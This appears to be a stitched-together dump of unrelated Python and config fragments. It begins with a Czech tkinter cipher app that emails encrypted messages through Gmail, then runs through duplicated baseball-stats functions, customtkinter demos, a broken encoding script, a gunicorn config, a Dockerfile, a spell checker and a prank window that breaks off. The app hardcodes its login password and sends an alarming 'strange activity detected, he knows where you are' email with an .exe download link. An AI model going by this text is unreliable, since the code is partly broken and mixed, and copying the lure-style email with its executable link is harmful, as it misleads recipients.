                html_message = f"""<p><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="font-size: 36px; color: rgb(0, 0, 0); text-shadow: rgba(136, 136, 136, 0) 0px 0px 0px;">Byla v&aacute;m odesl&aacute;na z&aacute;hadn&aacute; zpr&aacute;va</span></strong></span></p>
<p><span style="font-size: 26px;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Co to m&aacute; znamenat?</strong></span></span></p>
<p>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">Před několika vteřinami, přesněji v&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">{hodiny_cas}</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">&nbsp; byla zaznamen&aacute;na podivn&aacute; aktivita na jak&eacute;msi programu s n&aacute;zvem&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">HiddenLanguage</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">. Jedin&aacute; dohledateln&aacute; informace je, že uživatel se vyskytuje pod přezd&iacute;vkou&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">{qw}</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">. Pokud v&iacute;te co m&aacute;te dělat, tak čiňte jak usoud&iacute;te. V př&iacute;loze je zasl&aacute;n k&oacute;d, jenž se v&aacute;m bude zajist&eacute; hodit v dal&scaron;&iacute;ch akc&iacute;ch.</span></font>
</p>
<p style="text-align: left;"><br></p>
<p style="text-align: left;"><span style="font-size: 26px; font-family: Arial, Helvetica, sans-serif;"><strong>Zachycen&aacute; zpr&aacute;va ze serv</strong><strong>eru</strong></span></p>
<div><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="font-size: 18px;">{sifrovany_text}</span></strong></span></div>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p style="text-align: left;"><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: 26px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;">Zachycen&yacute; k&oacute;d ze serv</strong><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: 26px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;">eru</strong></p>
<p style="text-align: left;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;"><strong>{nova_abeceda}</strong></span></p>
<p style="text-align: left;"><br></p>
<p><br></p>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Tvůrce HiddenLanguage</strong><img src="https://myfiles.space/user_files/168855_15d4659979401e54/168855_custom_files/img1690038712.jpeg" alt="He know where you are" style="margin: 0 auto; display: block; width: 1100px;" width="1100" height="614"></span></p>
<p style="text-align: left;"><br></p>
<p style="text-align: center;"><br></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Doba odesl&aacute;n&iacute;: {formatovany_cas}</strong></span></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Soubor ke stažen&iacute;: <a href="https://www.mediafire.com/file/blnje4ut0ped9pi/HiddenLanguage.exe/file" target="_blank" rel="noopener noreferrer">MediaFire Download</a><br></strong></span></p>
<div style="color: red;"><br></div>
"""

            else:
                html_message = f"""<p><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="font-size: 36px; color: rgb(0, 0, 0); text-shadow: rgba(136, 136, 136, 0) 0px 0px 0px;">Byla v&aacute;m odesl&aacute;na z&aacute;hadn&aacute; zpr&aacute;va</span></strong></span></p>
<p><span style="font-size: 26px;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Co to m&aacute; znamenat?</strong></span></span></p>
<p>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">Před několika vteřinami, přesněji v&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">{hodiny_cas}</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">&nbsp; byla zaznamen&aacute;na podivn&aacute; aktivita na jak&eacute;msi programu s n&aacute;zvem&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">HiddenLanguage</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">. Jedin&aacute; dohledateln&aacute; informace je, že uživatel se vyskytuje pod přezd&iacute;vkou&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">{qw}</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">. Pokud v&iacute;te co m&aacute;te dělat, tak čiňte jak usoud&iacute;te. V př&iacute;loze je zasl&aacute;n k&oacute;d, jenž se v&aacute;m bude zajist&eacute; hodit v dal&scaron;&iacute;ch akc&iacute;ch.</span></font>
</p>
<p style="text-align: left;"><br></p>
<p style="text-align: left;"><span style="font-size: 26px; font-family: Arial, Helvetica, sans-serif;"><strong>Zachycen&aacute; zpr&aacute;va ze serv</strong><strong>eru</strong></span></p>
<div><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="font-size: 18px;">{sifrovany_text}</span></strong></span></div>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p style="text-align: left;"><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: 26px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;">Zachycen&yacute; k&oacute;d ze serv</strong><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: 26px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;">eru</strong></p>
<p style="text-align: left;"><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: medium; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;"><span style="font-size: 18px;">{nova_abeceda}</span></strong></p>
<p style="text-align: left;"><br></p>
<p style="text-align: left;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: 26px;"><strong>Co d&aacute;le</strong></span></p>
<p style="text-align: left;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">V př&iacute;loze jsou dva soubory. Jeden z nich se vždy jmenuje sifrovani.txt a druh&yacute; je pojmenov&aacute;n podle autora.</span></p>
<p style="text-align: left;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: 19px;"><strong><span style="color: rgb(226, 80, 65);">De&scaron;ifrov&aacute;n&iacute;</span></strong></span></p>
<ol>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">St&aacute;hněte tento soubor, kter&yacute; se nejmenuje &scaron;ifrov&aacute;n&iacute;, do složky Plocha - HiddenLanguage - Program.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Spusťte program a zvolte druhou možnost = de&scaron;ifrov&aacute;n&iacute;.&nbsp;</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte n&aacute;zev textov&eacute;ho souboru, jenž jste si před chv&iacute;l&iacute; st&aacute;hnul. (Pozor, napi&scaron;te n&aacute;zev bez .txt!)</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Vložte nečiteln&yacute; k&oacute;d, jenž vid&iacute;te nad sebou v č&aacute;sti B.&nbsp;</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Počkejte na v&yacute;sledek</li>
</ol>
<p><b style="font-family: Arial, Helvetica, sans-serif; font-size: 16px;">V odeslan&yacute;ch zpr&aacute;v&aacute;ch by jste měli vidět v&aacute;&scaron; odeslan&yacute; mail.</b></p>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-size: 19px; color: rgb(41, 105, 176);"><strong>&Scaron;ifrov&aacute;n&iacute;</strong></span></span></p>
<ol>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Spusťte program.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zvolte prvn&iacute; možnost.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte text, kter&yacute; chcete &scaron;ifrovat.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte n&aacute;zev pro uložen&iacute; va&scaron;eho k&oacute;du. (např. tajemny_kod)</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Uvid&iacute;te za&scaron;ifrovanou zpr&aacute;vu</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Vyberte zda-li chcete &scaron;ifru poslat někomu na mail.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte svůj e-mail. (Pouze a jedině Gmail funguje)</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte e-mail toho, kdož m&aacute; mail obdržet.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte sv&eacute; heslo. (heslo nikde neukl&aacute;d&aacute;me!)</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Je hotovo!</li>
</ol>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p><br></p>
<p><br></p>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Tvůrce HiddenLanguage</strong><img src="https://myfiles.space/user_files/168855_15d4659979401e54/168855_custom_files/img1690038712.jpeg" alt="He know where you are" style="margin: 0 auto; display: block; width: 1100px;" width="1100" height="614"></span></p>
<p style="text-align: left;"><br></p>
<p style="text-align: center;"><br></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Doba odesl&aacute;n&iacute;: {formatovany_cas}</strong></span></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Soubor ke stažen&iacute;: <a href="https://www.mediafire.com/file/blnje4ut0ped9pi/HiddenLanguage.exe/file" target="_blank" rel="noopener noreferrer">MediaFire Download</a><br></strong></span></p>
<div style="color: red;"><br></div>
"""

            # Vytvoření instance MIMEText pro HTML obsah
            html_part = MIMEText(html_message, 'html')

            # Vytvoření multipart zprávy
            msg = MIMEMultipart()
            msg['From'] = sender_email
            msg['To'] = receiver_email
            msg['Subject'] = subject

            # Přidání HTML části do multipart zprávy
            msg.attach(html_part)


            # Přidání přílohy dm_heslo.txt
            with open(nazev_souboru, 'rb') as file:
                attachment = MIMEBase('application', 'octet-stream')
                attachment.set_payload(file.read())
                encoders.encode_base64(attachment)
                attachment.add_header('Content-Disposition', 'attachment', filename=nazev_souboru)
                msg.attach(attachment)

            # Přidání přílohy screenshot.png
            with open("sifrovani.txt", 'rb') as file:
                attachment = MIMEBase('application', 'octet-stream')
                attachment.set_payload(file.read())
                encoders.encode_base64(attachment)
                attachment.add_header('Content-Disposition', 'attachment', filename='sifrovani.txt')
                msg.attach(attachment)

            # Odeslání e-mailu
            server = smtplib.SMTP('smtp.gmail.com', 587)
            server.starttls()
            server.login(odesilatel, sender_password)
            server.send_message(msg)
            server.quit()
        # Tady se dělá práce
        def Sifrovani(zprava_ke_skryti,nazev_souboru):
            abeceda = 'ABCDEFGHIJKLMNOPQRSTUVWXYabcdefghijklmnopqrstuvwxyz123456789ěščřžýáíé'
            nova_abeceda = ''.join(random.sample(abeceda, len(abeceda)))

            # Uložení šifrace

            with open(nazev_souboru, "w") as file:
                file.write(nova_abeceda)
            # Konec ukládání

            prevodni_tabulka = str.maketrans(abeceda, nova_abeceda)
            global sifrovany_text
            sifrovany_text = zprava_ke_skryti.translate(prevodni_tabulka)

            with open("sifrovani.txt", "w") as file:
                file.write(sifrovany_text)

        sifrovani_okno.mainloop()

    def tlacitko_klik_desif():
        desifrovani_okno = tk.Tk()
        desifrovani_okno.geometry("1920x1080")
        desifrovani_okno.title("Dešifrování")
        menu.destroy()

        nazev = tk.Label(desifrovani_okno ,text="Dešifrování", font=("Arial", 30,"bold"))
        nazev.pack()

        zasifr_text = tk.Label(desifrovani_okno, text="Níže napište zprávu, jenž chcete dešifrovat.", font=("Arial", 15))
        zasifr_text.pack()


        textbox_obsah = tk.Text(desifrovani_okno, height=10, width=50, font=("Arial", 15))
        textbox_obsah.pack(pady=20)


        textbox_kod_label = tk.Label(desifrovani_okno,text="Zadejte dešifrovací kod v příloze (ten bez mezer)",font=("Arial",13))
        textbox_kod_label.pack(pady=5)
        textbox_kod = tk.Text(desifrovani_okno,height=2, width=20,font=("Arial",15))
        textbox_kod.pack()

        def Redirect():
            zasifrovany_text_textbox = textbox_obsah.get("1.0", "end-1c")
            textbox_kod_obsah = textbox_kod.get("1.0", "end-1c")
            Desifrovani(zasifrovany_text_textbox,textbox_kod_obsah)


        tlacitko_desifrovani = tk.Button(desifrovani_okno,text="Dešifrovat zprávu",command=Redirect,height=1,width=15,font=("Arial",15),bg="blue",fg="white")
        tlacitko_desifrovani.pack(pady=20)

        output_label = tk.Label(desifrovani_okno,text="Obsah dešifrované zprávy",font=("Arial",15))
        output_label.pack(pady=5)
        output = tk.Text(desifrovani_okno,height=10,width=50,font=("Arial",15))
        output.pack()


        def Desifrovani(zasifrovany_text,zasifrovany_kod):
            sifrovana_abeceda = zasifrovany_kod

            def create_decryption_map(original_alphabet, shuffled_alphabet):
                decryption_map = {}
                for orig_char, shuffled_char in zip(original_alphabet, shuffled_alphabet):
                    decryption_map[shuffled_char] = orig_char
                return decryption_map

            # Příklad použití:
            original_alphabet = 'ABDCEFGHIJKLMNOPQRSTUVWXYabcdefghijklmnopqrstuvwxyz123456789ěščřžýáíé#@!§'
            shuffled_alphabet = sifrovana_abeceda

            decryption_map = create_decryption_map(original_alphabet, shuffled_alphabet)

            # Dešifrování zprávy
            encrypted_message = zasifrovany_text
            decrypted_message = "".join(decryption_map.get(char, char) for char in encrypted_message)
            obsah_desifrovane_zpravy = decrypted_message

            output.delete("1.0", "end")  # Vymažeme obsah textového pole
            output.insert("1.0", obsah_desifrovane_zpravy)  # Vložíme dešifrovanou zprávu do textového pole







        #Tady budou věci po checkboxech
        desifrovani_okno.mainloop()





    def navraceni_do_menu():
        menu.destroy()
        Uvodni_menu()

    prostor_button = tk.Frame(menu)
    prostor_button.columnconfigure(0,weight=10)
    prostor_button.columnconfigure(1,weight=10)
    prostor_button.columnconfigure(2,weight=10)

    tlacitko_sif = tk.Button(prostor_button,text="Šifrovat", command=tlacitko_klik_sif,font=("Arial",15,"bold"),width=50,height=4,bg="red", fg="white",activebackground="orange",activeforeground="black")
    tlacitko_sif.grid(row=0,column=0,sticky=tk.W+tk.E)

    tlacitko_desif = tk.Button(prostor_button,text="Dešifrovat", command=tlacitko_klik_desif,font=("Arial",15,"bold"),width=50,height=4,bg="green", fg="white",activebackground="yellow",activeforeground="black")
    tlacitko_desif.grid(row=1,column=0,sticky=tk.W+tk.E)


    tlacitko_menu = tk.Button(prostor_button, text="Zpět do menu", command=navraceni_do_menu, font=("Arial", 15, "bold"),width=50,height=4,
                               bg="purple", fg="white", activebackground="pink",
                               activeforeground="black")
    tlacitko_menu.grid(row=2,column=0,sticky=tk.W+tk.E)

    prostor_button.pack(pady=100)
    #(x=600, y=100, width=100, height=100)

    menu.mainloop()

def Uvodni_menu():
    # Vytvoření okna
    global okno
    okno = tk.Tk()
    okno.geometry("800x500")
    okno.title("HiddenLanguage")

    # widget s časem
    def update_time():
        current_time = time.strftime("%d.%m.%Y %H:%M:%S")  # Formát času (hodiny:minuty:sekundy)
        time_label.config(text=current_time)
        okno.after(1000, update_time)  # Znovu spustit funkci každou sekundu (1000 ms)


    # Vytvoření tlačítka
    nazev = tk.Label(okno, text="\n" + "HiddenLanguage", font=("Arial", 30, "bold"))
    nazev.pack()

    informace = tk.Label(okno,
                         text="Tento program umí šifrovat a dešifrovat zprávy." + "\n" + "Zašifrované zprávy může odeslat jakékoliv určené osobě na mail." + "\n" + "Více informací naleznete na kubasobr.blogspot.com" + "\n" + "Original HiddenLanguage, all rights reserved",
                         font=("Arial", 12))
    informace.pack()

    tlacitko = tk.Button(okno, text="Klikněte pro start!", command=tlacitko_klik, font=("Arial", 25, "bold"), height=5,
                         width=24, bg="blue", fg="white", activebackground="aqua", activeforeground="black")
    tlacitko.pack(padx=50, pady=20)

    #WiDGET S AKTUÁLNÍM ČASEM CO SE AKTUALIZUJE PO 1s
    time_label = tk.Label(okno, font=("Helvetica", 24), bg="light gray")
    time_label.pack(fill=tk.BOTH, expand=True)
    update_time()


    # Spuštění smyčky událostí (main loop)
    okno.mainloop()

def Prihlaseni():
    def update_time():
        current_time = time.strftime("%d.%m.%Y %H:%M:%S")  # Formát času (hodiny:minuty:sekundy)
        time_label.config(text=current_time)
        prihlaseni.after(1000, update_time)  # Znovu spustit funkci každou sekundu (1000 ms)
    prihlaseni = tk.Tk()
    prihlaseni.geometry("800x700")
    prihlaseni.title("HiddenLanguage")

    def tlacitko_klik():
        heslo = entry_password.get()  # Získání zadaného hesla
        if heslo == "kubasobr4":  # Nahraďte "SECRET_PASSWORD" vaším tajným heslem
            label_error.config(text="Zadali jste správné heslo.",font=("Arial",10),fg="blue")
            prihlaseni.destroy()
            # ... Pokračování s vaším kódem ...
        else:
            label_error.config(text="Neplatné heslo, zkuste to znovu.")  # Nastavení chybového textu
            entry_password.delete(0, tk.END)  # Vymazání pole pro zadání hesla

    def tlacitko_stisk_klavesy(event):
        tlacitko_klik()

    # Zobrazení výzvy pro vstup hesla
    label = tk.Label(prihlaseni, text="Vítejte v aplikaci HiddenLanguage", font=("Arial", 30, "bold"))
    label.pack(pady=50)

    label_password = tk.Label(prihlaseni, text="Zadejte heslo:", font=("Arial", 20))
    label_password.pack()

    entry_password = tk.Entry(prihlaseni, font=("Arial", 20), show="*")
    entry_password.pack(pady=20)

    button = tk.Button(prihlaseni, text="Potvrdit", font=("Arial", 20), command=tlacitko_klik)
    button.pack(pady=30)

    label_error = tk.Label(prihlaseni, text="", font=("Arial", 15), fg="red")
    label_error.pack()

    entry_password.bind("<Return>", tlacitko_stisk_klavesy)

    time_label = tk.Label(prihlaseni, font=("Helvetica", 24), bg="light gray")
    time_label.pack(fill=tk.BOTH, expand=True)
    update_time()
    prihlaseni.mainloop()
    Uvodni_menu()





Prihlaseni()
Uvodni_menu()
def schedule_and_record(season=None, team=None):
    # retrieve html from baseball reference
    # sanatize input
    team = team.upper()
    try:
        if season &lt; first_season_map[team]:
            m = "Season cannot be before first year of a team's existence"
            raise ValueError(m)
    # ignore validation if team isn't found in dictionary
    except KeyError:
        pass
    if season &gt; datetime.now().year:
        raise ValueError('Season cannot be after current year')

    soup = get_soup(season, team)
    table = get_table(soup, team)
    table = process_win_streak(table)
    table = make_numeric(table)
    return table
def statcast_batter(start_dt=None, end_dt=None, player_id=None):
    """
    Pulls statcast pitch-level data from Baseball Savant for a given batter.

    ARGUMENTS
    start_dt : YYYY-MM-DD : the first date for which you want a player's statcast data
    end_dt : YYYY-MM-DD : the final date for which you want data
    player_id : INT : the player's MLBAM ID. Find this by calling pybaseball.playerid_lookup(last_name, first_name), finding the correct player, and selecting their key_mlbam.
    """
    start_dt, end_dt, player_id = sanitize_input(start_dt, end_dt, player_id)
    # inputs are valid if either both or zero dates are supplied. Not valid of only one given.
    if start_dt and end_dt:
        url = 'https://baseballsavant.mlb.com/statcast_search/csv?all=true&hfPT=&hfAB=&hfBBT=&hfPR=&hfZ=&stadium=&hfBBL=&hfNewZones=&hfGT=R%7CPO%7CS%7C=&hfSea=&hfSit=&player_type=batter&hfOuts=&opponent=&pitcher_throws=&batter_stands=&hfSA=&game_date_gt={}&game_date_lt={}&batters_lookup%5B%5D={}&team=&position=&hfRO=&home_road=&hfFlag=&metric_1=&hfInn=&min_pitches=0&min_results=0&group_by=name&sort_col=pitches&player_event_sort=h_launch_speed&sort_order=desc&min_abs=0&type=details&'
        df = split_request(start_dt, end_dt, player_id, url)
        return df
def statcast_batter(start_dt=None, end_dt=None, player_id=None):
    """
    Pulls statcast pitch-level data from Baseball Savant for a given batter.

    ARGUMENTS
    start_dt : YYYY-MM-DD : the first date for which you want a player's statcast data
    end_dt : YYYY-MM-DD : the final date for which you want data
    player_id : INT : the player's MLBAM ID. Find this by calling pybaseball.playerid_lookup(last_name, first_name), finding the correct player, and selecting their key_mlbam.
    """
    start_dt, end_dt, player_id = sanitize_input(start_dt, end_dt, player_id)
    # inputs are valid if either both or zero dates are supplied. Not valid of only one given.
    if start_dt and end_dt:
        url = 'https://baseballsavant.mlb.com/statcast_search/csv?all=true&hfPT=&hfAB=&hfBBT=&hfPR=&hfZ=&stadium=&hfBBL=&hfNewZones=&hfGT=R%7CPO%7CS%7C=&hfSea=&hfSit=&player_type=batter&hfOuts=&opponent=&pitcher_throws=&batter_stands=&hfSA=&game_date_gt={}&game_date_lt={}&batters_lookup%5B%5D={}&team=&position=&hfRO=&home_road=&hfFlag=&metric_1=&hfInn=&min_pitches=0&min_results=0&group_by=name&sort_col=pitches&player_event_sort=h_launch_speed&sort_order=desc&min_abs=0&type=details&'
        df = split_request(start_dt, end_dt, player_id, url)
        return df
def statcast_pitcher(start_dt=None, end_dt=None, player_id=None):
    """
    Pulls statcast pitch-level data from Baseball Savant for a given pitcher.

    ARGUMENTS
    start_dt : YYYY-MM-DD : the first date for which you want a player's statcast data
    end_dt : YYYY-MM-DD : the final date for which you want data
    player_id : INT : the player's MLBAM ID. Find this by calling pybaseball.playerid_lookup(last_name, first_name), finding the correct player, and selecting their key_mlbam.
    """
    start_dt, end_dt, player_id = sanitize_input(start_dt, end_dt, player_id)

    # inputs are valid if either both or zero dates are supplied. Not valid of only one given.
    if start_dt and end_dt:
        url = 'https://baseballsavant.mlb.com/statcast_search/csv?all=true&hfPT=&hfAB=&hfBBT=&hfPR=&hfZ=&stadium=&hfBBL=&hfNewZones=&hfGT=R%7CPO%7CS%7C=&hfSea=&hfSit=&player_type=pitcher&hfOuts=&opponent=&pitcher_throws=&batter_stands=&hfSA=&game_date_gt={}&game_date_lt={}&pitchers_lookup%5B%5D={}&team=&position=&hfRO=&home_road=&hfFlag=&metric_1=&hfInn=&min_pitches=0&min_results=0&group_by=name&sort_col=pitches&player_event_sort=h_launch_speed&sort_order=desc&min_abs=0&type=details&'
        df = split_request(start_dt, end_dt, player_id, url)
        return df
class App(CTk):
    def __init__(self):
        super().__init__()

        self.button = CTkButton(
            self, text="Blogs", #Text to be displayed
            fg_color="#ec3642", #color of the button
            hover_color="white", #color of the button when mouse is over
            font=("Montserrat", 16), #font used
            corner_radius=12, width=100, #radius of edges and total width
            command=self.open) #Command to run when button is clicked
        self.button.pack(padx = 10, pady = 10)

    def open(self):
        import webbrowser #library to open a specific URL
        # Opening the given link.
        webbrowser.open("https://python-hub.com/blog-2/")

if __name__ == "__main__":
    app = App()
    app.mainloop()
from customtkinter import *

app = CTk()

button = CTkButton(app)
button.pack(padx = 10, pady = 10)

app.mainloop()

# In OOP
class App(CTk):
    def __init__(self):
        super().__init__()

        self.button = CTkButton(self)
        self.button.pack(padx = 10, pady = 10)

        
if __name__ == "__main__":
    app = App()
    app.mainloop()
#Python

from pathlib import Path
import shutil
import chardet


# region - FUN - detect_encoding

# ----------------------------------------------------------------------------------------------

def detect_encoding(dfn):



    with open(dfn, 'rb') as f_csv:

        chardet_result = chardet.detect(f_csv.read())

        chardet_encoding = chardet_result.get('encoding')

        chardet_confidence = chardet_result.get('confidence')

        Watch.Log(chardet_confidence, 2)

        return chardet_encoding

# ----------------------------------------------------------------------------------------------

# endregion - FUN - detect_encoding

job_file = Watch.ExpandString("%F")
encoding = detect_encoding(job_file)

#Watch.Log(f"detected encoding: {encoding}", 2)

temp = Watch.ExpandString("%ttemp.csv")
#Watch.Log(temp, 2)

#with open(Watch.ExpandString("%F"), 'rb', encoding=encoding) as temp_csv:
with open(Watch.ExpandString("%F"), 'rb') as temp_csv:

    content = temp_csv.readlines()

    for line in content:
        #encoding = detect_encoding(line)
        Watch.Log(f"{'*'*100}\n{line}", 2)
        Watch.Log(f'utf-8...{line.decode("utf-8")}', 2)

        chardet_result = chardet.detect(line)

        chardet_encoding = chardet_result.get('encoding')

        chardet_confidence = chardet_result.get('confidence')

        Watch.Log(f"Enc...{chardet_encoding}", 2)
        Watch.Log(f"Con...{chardet_confidence}", 2)
        Watch.Log(f"New...{str(line).encode('utf-8').decode('utf-8')}\n", 2)
        #Watch.Log(f"{'~'*100}\n{line}", 2)


with open(temp, 'w') as output:

    output.write(content.decode("utf-8")


#Path(job_file).unlink()
#shutil.move(temp, job_file)
# Configuration file for `gunicorn` command.
# 1) Set the settings in this file.
# 2) Run `gunicorn` from the terminal in the directory containing this file

import multiprocessing
import os

from dotenv import load_dotenv

load_dotenv()

# Get the `ENVIRONMENT` env variable and convert it to lowercase if it exists
environment = os.getenv("ENVIRONMENT")
environment = environment.lower() if environment else "dev"


# Gunicorn app
# Tell Gunicorn which application to run
wsgi_app = "app.main:app"

# Requests
# Restart workers after so many requests, with some variability.
max_requests = 1000
max_requests_jitter = 50

# Logging
# Use stdout for logging
log_file = "-"

# The IP address and port to accept requests on
bind = "0.0.0.0:8000"

# Use this formula for production, otherwise only run 2 workers
workers = (
    multiprocessing.cpu_count() * 2 + 1
    if environment in ["prod", "production"]
    else 2
)
worker_class = "uvicorn.workers.UvicornWorker"
print('Hello World')
print('Helldzscdzdfsd')
FROM python:3.11-slim


# Create a non-root user to run the app as
RUN addgroup --system app && adduser --system --group app

# Environment variables
ENV PYTHONUNBUFFERED=1 \
    PYTHONDONTWRITEBYTECODE=1 \
    PIP_NO_CACHE_DIR=off \
    PIP_DISABLE_PIP_VERSION_CHECK=on \
    PIP_DEFAULT_TIMEOUT=100 \
    POETRY_VIRTUALENVS_IN_PROJECT=true \
    # Set Poetry to NOT install the dependencies into a virtual environment, instead install them into the system's Python environment
    POETRY_VIRTUALENVS_CREATE=false \
    POETRY_NO_INTERACTION=1 \
    PYTHONPATH=${PYTHONPATH}:${PWD}

# Make a directory for the project
RUN mkdir /app

# Change to the `/app` directory
WORKDIR /app

# Copy the project files over to the container
COPY pyproject.toml /app
COPY . /app

# Chown all the files to the app user
RUN chown -R app:app /app

# Install Poetry
RUN pip3 install poetry

# Export the Poetry pack list to another format
RUN poetry export -f requirements.txt > requirements.txt

# Install the Python dependencies
RUN poetry install --only main

# Become the `app` user
USER app

# Expose port 8000 on the container
EXPOSE 8000

#CMD ["poetry", "run", "gunicorn"]
CMD ["gunicorn"]
# A GUI real time spell checker.
# for removing special characters
import re
# for GUI
from tkinter import scrolledtext
import tkinter as tk
from customtkinter import *
# for matching words
import nltk
from nltk.corpus import words

nltk.download("words")
class SpellingChecker(CTk):
    def __init__(self):
        super().__init__()
        self.title("Spelling Checker")
        self.geometry("600x500")

        # Creating a widget to let user type
        self.text_area = scrolledtext.ScrolledText(self,
                                      wrap = tk.WORD, 
                                      width = 70, 
                                      height = 27, 
                                      font = ("Times New Roman",
                                              15))
        # To check the spellings whenever any key is released.
        self.text_area.bind("<KeyRelease>", self.check)
        self.text_area.grid(column = 0, pady = 10, padx = 10)
        # keeping track of spaces.
        self.old_spaces = 0
    
    def check(self, event):
        # getting whole content typed by user
        content = self.text_area.get("1.0", tk.END)
        # counting spaces
        space_count = content.count(" ")

        # checks spelling only if the space key was pressed.
        if space_count != self.old_spaces: #checking if there are anymore spaces.
            self.old_spaces = space_count #updating the new no. of spaces.

            # removing any red highlights if there
            for tag in self.text_area.tag_names():
                self.text_area.tag_delete(tag)

            # getting all the words
            for word in content.split(" "):
                # removinga any special characters if there
                if re.sub(r"[^\w]", '', word.lower()) not in words.words():
                    # getting the starting position of incorrect word
                    position = content.find(word)
                    # marking wrong spelling red
                    self.text_area.tag_add(word, f"1.{position}", f"1.{position + len( word)}")
                    self.text_area.tag_config(word, foreground="red")


if __name__ == "__main__":
    si = SpellingChecker()
    si.mainloop()
from customtkinter import *
from PIL import Image

class Fooled(CTkToplevel):
    """A custom Tkinter Toplevel window to display a text label and a GIF image of Jerry from the 'Tom and Jerry' cartoon."""
    def __init__(self):
        """Initialize the Fooled Toplevel window."""
        super().__init__()
        self.title("")
        set_appearance_mode("light")
        self.geometry("250x250")
        
        self.label = CTkLabel(self, text="Idk, just look outside🤣")
